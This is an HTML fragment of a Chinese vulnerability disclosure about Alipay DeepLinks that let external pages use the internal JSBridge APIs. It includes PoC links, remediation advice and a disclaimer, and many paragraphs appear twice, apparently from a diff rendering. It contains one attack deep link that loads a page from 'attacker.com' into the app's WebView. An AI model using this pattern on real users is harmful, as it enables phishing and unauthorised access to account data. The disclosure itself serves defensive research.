<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">在线 PoC 演示(只读,不收集数据)</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:16px;">
|
||||
我们提供了三个在线 PoC 页面,所有数据仅在本地展示,不会传输至任何服务器:
|
||||
</p>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:14px 16px;margin-bottom:10px;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;">
|
||||
<strong>🎯 Trigger Page</strong> — 模拟攻击者分发页面
|
||||
</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;">
|
||||
<a href="https://innora.ai/zfb/poc/trigger.html" style="color:#1a6dff;">innora.ai/zfb/poc/trigger.html</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:14px 16px;margin-bottom:10px;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;">
|
||||
<strong>🔓 JSBridge PoC</strong> — 演示外部页面的 API 访问能力
|
||||
</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;">
|
||||
<a href="https://innora.ai/zfb/poc/verify.html" style="color:#1a6dff;">innora.ai/zfb/poc/verify.html</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:14px 16px;margin-bottom:0;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;">
|
||||
<strong>🔗 Chain WebView</strong> — 证明链式页面仍保留完整 Bridge 权限
|
||||
</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;">
|
||||
<a href="https://innora.ai/zfb/poc/chain.html" style="color:#1a6dff;">innora.ai/zfb/poc/chain.html</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
|
||||
<!-- 小标题:为什么公开 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">为什么选择公开?</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
我们完全遵循了负责任披露流程 —— 先私下报告,等待厂商响应。厂商明确回复这些是「正常功能」,表示不会修复。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
在这种情况下,公开是唯一能推动改变的方式。我们希望:
|
||||
</p>
|
||||
<div style="background:#f0f7ff;border-radius:8px;padding:14px 16px;">
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">1️⃣ 用户知道自己的隐私正在被「正常功能」暴露</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">2️⃣ 安全研究社区可以独立验证我们的发现</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">3️⃣ 厂商重新审视这些问题的严重性</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:0;">4️⃣ 整个行业认真对待 DeepLink 攻击面</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 重要澄清 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#fffbe6;border:2px solid #faad14;border-radius:8px;padding:16px;">
|
||||
<p style="font-size:16px;font-weight:800;color:#d48806;margin-bottom:8px;">⚠️ 重要澄清</p>
|
||||
<div style="background:#fffbe6;border:2px solid #faad14;border-radius:10px;padding:18px 20px;">
|
||||
<p style="font-size:17px;font-weight:800;color:#d48806;margin-bottom:10px;">⚠️ 重要澄清</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:8px;">
|
||||
<strong>本研究未发现零交互自动扣款漏洞。</strong>转账预填充仍需用户手动确认。GPS 获取依赖于用户此前已授予该App定位权限。
|
||||
<strong>本研究未发现零交互自动扣款。</strong>转账预填充仍需用户手动点击确认。位置获取依赖用户此前已授予App的定位权限。
|
||||
</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:0;">
|
||||
核心风险在于:<strong>任何外部HTTPS网页</strong>通过 DeepLink 加载后,可以调用大量本应仅限于官方小程序使用的内部接口,且无需额外授权。这将传统钓鱼攻击的杀伤力提升了一个数量级。
|
||||
核心问题在于:<strong style="color:#d48806;">任何外部HTTPS网页</strong>通过DeepLink加载后,可以调用大量本应仅限官方小程序使用的内部接口,无需额外授权。这使传统钓鱼攻击的杀伤力提升了一个数量级。
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 技术细节概要 -->
|
||||
<!-- 在线PoC -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #ff4444;display:inline-block;padding-bottom:4px;">技术要点</p>
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #4488ff;display:inline-block;padding-bottom:6px;">在线PoC验证(只读,不收集数据)</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:12px;">
|
||||
攻击的核心入口是 DeepLink URI scheme:
|
||||
<p style="font-size:14px;line-height:2;color:#666;margin-bottom:12px;">
|
||||
以下三个PoC页面均为只读演示,所有数据仅在本地显示,不传输至任何服务器。安全研究人员可自行验证。
|
||||
</p>
|
||||
<div style="background:#1a1a2e;border-radius:8px;padding:12px 16px;font-family:Menlo,monospace;font-size:13px;color:#44cc88;margin-bottom:16px;overflow-x:auto;">
|
||||
<p style="margin:0;">alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/evil.html</p>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:12px 16px;margin-bottom:8px;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:2px;"><strong>🎯 攻击触发页</strong> — 模拟攻击者分发钓鱼链接</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;"><a href="https://innora.ai/zfb/poc/trigger.html" style="color:#1a6dff;">innora.ai/zfb/poc/trigger.html</a></p>
|
||||
</div>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:12px 16px;margin-bottom:8px;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:2px;"><strong>🔓 JSBridge PoC</strong> — 17个接口实测演示</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;"><a href="https://innora.ai/zfb/poc/verify.html" style="color:#1a6dff;">innora.ai/zfb/poc/verify.html</a></p>
|
||||
</div>
|
||||
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:12px 16px;margin-bottom:0;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:2px;"><strong>🔗 链式攻击</strong> — 证明链式页面保留完整权限</p>
|
||||
<p style="font-size:13px;color:#1a6dff;margin-bottom:0;"><a href="https://innora.ai/zfb/poc/chain.html" style="color:#1a6dff;">innora.ai/zfb/poc/chain.html</a></p>
|
||||
</div>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
其中 <code style="background:#f5f5f5;padding:2px 6px;border-radius:3px;font-size:13px;color:#d14;">appId=20000067</code> 是内置浏览器组件。任何 HTTPS URL 都可以通过这个方式在 App 的 WebView 容器中打开,而 WebView 会自动注入 <code style="background:#f5f5f5;padding:2px 6px;border-radius:3px;font-size:13px;color:#d14;">AlipayJSBridge</code> 对象,提供 50+ 个内部 API。
|
||||
</p>
|
||||
<p style="font-size:15px;line-height:2;color:#333;">
|
||||
更详细的攻击链分析、每个 API 的调用代码、服务器日志原文,请参阅完整报告。
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
|
||||
<!-- 多节点存档 - 醒目红色 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#ff4444;border-radius:12px;padding:20px;text-align:center;">
|
||||
<p style="font-size:18px;font-weight:800;color:#fff;margin-bottom:12px;">🛡️ 多节点存档(防删除)</p>
|
||||
<p style="font-size:14px;color:#ffe0e0;margin-bottom:16px;">
|
||||
本研究已在多个独立节点同步发布。如发现任一地址不可访问,请从其他节点获取。
|
||||
</p>
|
||||
<div style="background:rgba(255,255,255,.15);border-radius:8px;padding:12px 16px;margin-bottom:8px;">
|
||||
<p style="font-size:14px;color:#fff;margin-bottom:0;">
|
||||
🌐 <strong>研究主站</strong>:<a href="https://innora.ai/zfb/" style="color:#ffe0e0;text-decoration:underline;">https://innora.ai/zfb/</a>
|
||||
</p>
|
||||
</div>
|
||||
<div style="background:rgba(255,255,255,.15);border-radius:8px;padding:12px 16px;margin-bottom:8px;">
|
||||
<p style="font-size:14px;color:#fff;margin-bottom:0;">
|
||||
🐙 <strong>GitHub</strong>:<a href="https://github.com/sgInnora/alipay-deeplink-research" style="color:#ffe0e0;text-decoration:underline;">github.com/sgInnora/alipay-deeplink-research</a>
|
||||
</p>
|
||||
</div>
|
||||
<p style="font-size:13px;color:#ffcccc;margin-bottom:0;font-weight:600;">
|
||||
⚠️ 请 Fork GitHub 仓库 / 保存页面到本地 / 转发本文,帮助保留证据!
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 修复建议 -->
|
||||
<section style="margin:0 16px 20px;">
|
||||
<p style="font-size:20px;font-weight:800;color:#1a1a1a;border-bottom:3px solid #4488ff;display:inline-block;padding-bottom:4px;">修复建议</p>
|
||||
<p style="font-size:22px;font-weight:900;color:#1a1a1a;border-bottom:4px solid #44cc88;display:inline-block;padding-bottom:6px;">我们给出的修复建议</p>
|
||||
</section>
|
||||
|
||||
<section style="margin:0 16px 24px;">
|
||||
<p style="font-size:15px;line-height:2;color:#333;margin-bottom:12px;">
|
||||
我们同时提供了完整的修复建议方案:
|
||||
</p>
|
||||
<div style="background:#f0f7ff;border-radius:8px;padding:14px 16px;">
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">🔒 <strong>URL 白名单</strong>:仅允许官方域名通过 appId=20000067 加载</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">🔒 <strong>JSBridge 分级</strong>:外部页面仅开放基础 API,敏感接口需域名+签名验证</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">🔒 <strong>DeepLink 确认</strong>:外部来源的 DeepLink 必须弹出安全确认弹窗</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:6px;">🔒 <strong>位置权限</strong>:WebView 中的 getLocation 应独立于系统权限,需显式授权</p>
|
||||
<p style="font-size:14px;line-height:2;color:#333;margin-bottom:0;">🔒 <strong>UI 隔离</strong>:外部页面禁止 setTitle/toast,或添加不可欺骗的安全标识</p>
|
||||
<div style="background:#f0fff6;border-radius:10px;padding:16px 18px;border:1px solid #d4edda;">
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:6px;">🔒 <strong>URL 白名单</strong>:仅允许官方域名通过 WebView 加载</p>
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:6px;">🔒 <strong>接口分级</strong>:外部页面只能用基础API,敏感接口需域名+签名双重验证</p>
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:6px;">🔒 <strong>DeepLink 确认弹窗</strong>:外部来源的链接必须显示安全提示</p>
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:6px;">🔒 <strong>位置权限隔离</strong>:WebView 内的定位请求应独立于系统权限</p>
|
||||
<p style="font-size:14px;line-height:2.2;color:#333;margin-bottom:0;">🔒 <strong>UI 防伪标识</strong>:外部页面禁止修改标题栏,或添加不可伪造的安全标记</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 分割线 -->
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:20px;letter-spacing:8px;">· · ·</p></section>
|
||||
<section style="text-align:center;margin:24px 0;"><p style="color:#ddd;font-size:22px;letter-spacing:10px;margin:0;">· · ·</p></section>
|
||||
|
||||
<!-- 多节点存档 - 超醒目红色大框 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#ff4444;border-radius:12px;padding:24px 20px;text-align:center;">
|
||||
<p style="font-size:20px;font-weight:900;color:#fff;margin-bottom:14px;">🛡️ 防删除 · 多节点存档</p>
|
||||
<p style="font-size:14px;color:#ffe0e0;margin-bottom:16px;line-height:1.8;">
|
||||
本研究已在多个独立节点同步发布<br>如发现任一地址不可访问,请从其他节点获取完整内容
|
||||
</p>
|
||||
<div style="background:rgba(255,255,255,.15);border-radius:8px;padding:12px 16px;margin-bottom:10px;">
|
||||
<p style="font-size:15px;color:#fff;margin-bottom:0;">
|
||||
🌐 <strong>主站</strong>:<a href="https://innora.ai/zfb/" style="color:#ffe0e0;text-decoration:underline;font-weight:700;">https://innora.ai/zfb/</a>
|
||||
</p>
|
||||
</div>
|
||||
<div style="background:rgba(255,255,255,.15);border-radius:8px;padding:12px 16px;margin-bottom:10px;">
|
||||
<p style="font-size:15px;color:#fff;margin-bottom:0;">
|
||||
🐙 <strong>GitHub</strong>:<a href="https://github.com/sgInnora/alipay-deeplink-research" style="color:#ffe0e0;text-decoration:underline;font-weight:700;">github.com/sgInnora/alipay-deeplink-research</a>
|
||||
</p>
|
||||
</div>
|
||||
<p style="font-size:14px;color:#fff;margin-bottom:0;font-weight:700;background:rgba(0,0,0,.2);border-radius:6px;padding:10px;">
|
||||
⚠️ 请立即 Fork 仓库 / 保存页面 / 转发本文<br>帮助保留证据,防止单节点删除!
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 法律声明 -->
|
||||
<section style="margin:0 16px 24px;">
|
||||
<div style="background:#f8f9fa;border-radius:8px;padding:14px 16px;border:1px solid #e0e0e0;">
|
||||
<p style="font-size:13px;color:#999;line-height:1.8;margin-bottom:0;">
|
||||
<strong>法律声明</strong>:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方账户或数据进行未授权访问。PoC 页面为只读演示,已禁用所有数据外传功能。本研究遵循负责任披露流程,厂商已获得充分时间响应。
|
||||
<p style="font-size:12px;color:#999;line-height:1.8;margin-bottom:0;">
|
||||
<strong style="color:#666;">法律声明</strong>:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方进行未授权访问。PoC 页面为只读演示,已禁用全部数据外传功能。研究遵循负责任披露流程,厂商已获充分响应时间。
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 作者信息 -->
|
||||
<section style="margin:0 16px 32px;text-align:center;">
|
||||
<p style="font-size:14px;color:#333;margin-bottom:4px;"><strong>Innora AI 安全研究团队</strong></p>
|
||||
<p style="font-size:13px;color:#999;margin-bottom:4px;">feng@innora.ai</p>
|
||||
<p style="font-size:13px;color:#999;margin-bottom:8px;">2026-03-11</p>
|
||||
<p style="font-size:12px;color:#bbb;margin-bottom:0;">— END —</p>
|
||||
<!-- 作者 -->
|
||||
<section style="margin:0 16px 36px;text-align:center;">
|
||||
<p style="font-size:15px;color:#333;margin-bottom:4px;font-weight:700;">Innora AI 安全研究团队</p>
|
||||
<p style="font-size:13px;color:#999;margin-bottom:4px;">feng@innora.ai · <a href="https://innora.ai" style="color:#4488ff;">innora.ai</a></p>
|
||||
<p style="font-size:13px;color:#999;margin-bottom:12px;">2026-03-11</p>
|
||||
<p style="font-size:12px;color:#ccc;margin-bottom:0;">— END —</p>
|
||||
</section>
|
||||
|
||||
</section>
|
||||
|
||||
Reference in New Issue
Block a user